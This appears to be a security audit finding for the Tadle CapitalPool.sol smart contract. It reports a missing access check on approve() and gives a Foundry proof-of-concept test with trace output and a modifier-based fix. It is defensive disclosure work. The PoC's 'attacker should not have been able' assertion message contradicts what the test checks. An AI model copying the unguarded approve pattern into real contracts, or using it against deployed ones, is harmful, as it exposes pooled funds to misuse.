Summary:
The approve function in the CapitalPool.sol contract lacks proper access control, which allows any external address to approve the token manager to spend the pool's tokens, contrary to the intended design.
Vulnerability Details:
The approve function in the CapitalPool.sol contract is designed to be called only by the token manager, as indicated by the function comment. However, the function does not enforce this restriction. As a result, any external address can call this function and approve the token manager to spend the CapitalPool's tokens.
See the original approve function below:
function approve(address tokenAddr) external {
@> address tokenManager = tadleFactory.relatedContracts(
RelatedContractLibraries.TOKEN_MANAGER
);
(bool success, ) = tokenAddr.call(
abi.encodeWithSelector(
APPROVE_SELECTOR,
tokenManager,
type(uint256).max
)
);
if (!success) {
revert ApproveFailed();
}
}
Impact:
This vulnerability poses a high risk to the protocol's funds. Any malicious actor can exploit this to approve the token manager to spend the maximum possible amount of any token held by the CapitalPool. This could lead to unauthorized token transfers and potential loss of funds.
Proof of Concept:
Create 2 mock contracts, MockCapitalPool.sol and MockTadleFactory.sol within the mocks folder:
MockCapitalPool.sol contract;
pragma solidity ^0.8.13;
import "../../src/interfaces/ICapitalPool.sol";
import "../../src/factory/ITadleFactory.sol";
import "../../src/libraries/RelatedContractLibraries.sol";
contract MockCapitalPool is ICapitalPool {
ITadleFactory public tadleFactory;
bytes4 private constant APPROVE_SELECTOR = bytes4(keccak256(bytes("approve(address,uint256)")));
constructor(address _tadleFactory) {
tadleFactory = ITadleFactory(_tadleFactory);
}
function approve(address tokenAddr) external override {
address tokenManager = tadleFactory.relatedContracts(uint8(RelatedContractLibraries.TOKEN_MANAGER));
(bool success,) = tokenAddr.call(abi.encodeWithSelector(APPROVE_SELECTOR, tokenManager, type(uint256).max));
if (!success) {
revert ApproveFailed();
}
}
}
MockTadleFactory.sol contract;
pragma solidity ^0.8.13;
import {ITadleFactory} from "../../src/factory/ITadleFactory.sol";
contract MockTadleFactory is ITadleFactory {
address public guardian;
mapping(uint8 => address) public relatedContracts;
constructor(address _guardian) {
guardian = _guardian;
}
function setRelatedContract(uint8 _relatedContractIndex, address _contract) external {
relatedContracts[_relatedContractIndex] = _contract;
emit RelatedContractDeployed(uint256(_relatedContractIndex), _contract);
}
function deployUpgradeableProxy(uint8 _relatedContractIndex, address _logic, bytes memory _data)
external
returns (address)
{
relatedContracts[_relatedContractIndex] = _logic;
emit RelatedContractDeployed(uint256(_relatedContractIndex), _logic);
return _logic;
}
}
Create a test contract, AccessControl.t.sol within the test folder:
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "./mocks/MockCapitalPool.sol";
import "./mocks/MockERC20Token.sol";
import "./mocks/MockTadleFactory.sol";
import "../src/libraries/RelatedContractLibraries.sol";
contract CapitalPoolTest is Test {
MockCapitalPool public capitalPool;
MockERC20Token public mockToken;
MockTadleFactory public mockTadleFactory;
address public tokenManager;
address public attacker;
function setUp() public {
mockTadleFactory = new MockTadleFactory(address(this));
mockToken = new MockERC20Token();
tokenManager = address(0x1234);
attacker = address(0x5678);
mockTadleFactory.setRelatedContract(uint8(RelatedContractLibraries.TOKEN_MANAGER), tokenManager);
capitalPool = new MockCapitalPool(address(mockTadleFactory));
}
function testUnauthorizedApproval() public {
vm.prank(attacker);
capitalPool.approve(address(mockToken));
uint256 allowance = mockToken.allowance(address(capitalPool), tokenManager);
assertEq(allowance, type(uint256).max, "Approval should have succeeded");
assertTrue(allowance > 0, "Attacker should not have been able to approve tokens");
}
}
Run the test, forge test --mt testUnauthorizedApproval -vvvv. The result is as follows:
[⠊] Compiling...
[⠒] Compiling 2 files with Solc 0.8[⠢] Compiling 2 files with Solc 0.8[⠆] Compiling 2 files with Solc 0.8[⠰] Compiling 2 files with Solc 0.8[⠔] Compiling 2 files with Solc 0.8[⠒] Compiling 2 files with Solc 0.8[⠑] Compiling 2 files with Solc 0.8.26
[⠘] Solc 0.8.26 finished in 645.25m[⠃] Solc 0.8.26 finished in 645.25ms
Compiler run successful with warnings:
Warning (5667): Unused function parameter. Remove or comment out the variable name to silence this warning.
--> test/mocks/MockTadleFactory.sol:22:82:
|
22 | function deployUpgradeableProxy(uint8 _relatedContractIndex, address _logic, bytes memory _data)
| ^^^^^^^^^^^^^^^^^^
Ran 1 test for test/AccessControl.t.sol:CapitalPoolTest
[PASS] testUnauthorizedApproval() (gas: 53429)
Traces:
[53429] CapitalPoolTest::testUnauthorizedApproval()
├─ [0] VM::prank(0x0000000000000000000000000000000000005678)
│ └─ ← [Return]
├─ [36033] MockCapitalPool::approve(MockERC20Token: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
│ ├─ [2578] MockTadleFactory::relatedContracts(5) [staticcall]
│ │ └─ ← [Return] 0x0000000000000000000000000000000000001234
│ ├─ [24739] MockERC20Token::approve(0x0000000000000000000000000000000000001234, 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
│ │ ├─ emit Approval(owner: MockCapitalPool: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], spender: 0x0000000000000000000000000000000000001234, value: 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77])
│ │ └─ ← [Return] true
│ └─ ← [Stop]
├─ [814] MockERC20Token::allowance(MockCapitalPool: [0xF62849F9A0B5Bf2913b396098F7c7019b51A820a], 0x0000000000000000000000000000000000001234) [staticcall]
│ └─ ← [Return] 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77]
├─ [0] VM::assertEq(115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77], 115792089237316195423570985008687907853269984665640564039457584007913129639935 [1.157e77], "Approval should have succeeded") [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertTrue(true, "Attacker should not have been able to approve tokens") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 9.96ms (2.19ms CPU time)
Ran 1 test suite in 44.69ms (9.96ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
The test testUnauthorizedApproval() executed without any errors.
The approve function in MockCapitalPool was called by the attacker (address 0x5678).
The MockTadleFactory correctly returned the token manager address (0x1234).
The MockERC20Token successfully approved the maximum uint256 value for the token manager.
The allowance check passed, confirming that the approval was successful.
Both assertions in the test passed.
This test demonstrates that an unauthorized address (attacker) can successfully call the approve function and grant maximum allowance to the token manager.
Tools Used:
Manual review, Foundry, AI for troubleshooting
Recommended Mitigation:
Implement proper access control in the approve function using an onlyTokenManager modifier. Define the modifier in the CapitalPool.sol contract and apply this modifier to the approve function. See the updated CapitalPool.sol below:
// SPDX-License-Identifier: GPL-2.0-or-later
pragma solidity ^0.8.13;
import {CapitalPoolStorage} from "../storage/CapitalPoolStorage.sol";
import {ICapitalPool} from "../interfaces/ICapitalPool.sol";
import {RelatedContractLibraries} from "../libraries/RelatedContractLibraries.sol";
import {Rescuable} from "../utils/Rescuable.sol";
/**
* @title CapitalPool
* @notice Implement the capital pool
*/
contract CapitalPool is CapitalPoolStorage, Rescuable, ICapitalPool {
bytes4 private constant APPROVE_SELECTOR = bytes4(keccak256(bytes("approve(address,uint256)")));
constructor() Rescuable() {}
+ modifier onlyTokenManager() {
+ address tokenManager = tadleFactory.relatedContracts(
+ RelatedContractLibraries.TOKEN_MANAGER
+ );
+ require(msg.sender == tokenManager, "Only token manager can call");
+ _;
+ }
/**
* @dev Approve token for token manager
* @notice only can be called by token manager
* @param tokenAddr address of token
*/
- function approve(address tokenAddr) external {
+ function approve(address tokenAddr) external onlyTokenManager {
address tokenManager = tadleFactory.relatedContracts(
RelatedContractLibraries.TOKEN_MANAGER
);
(bool success, ) = tokenAddr.call(
abi.encodeWithSelector(
APPROVE_SELECTOR,
tokenManager,
type(uint256).max
)
);
if (!success) {
revert ApproveFailed();
}
}
}
This modification ensures that only the token manager can call the approve function, preventing attackers exploiting this vulnerability.
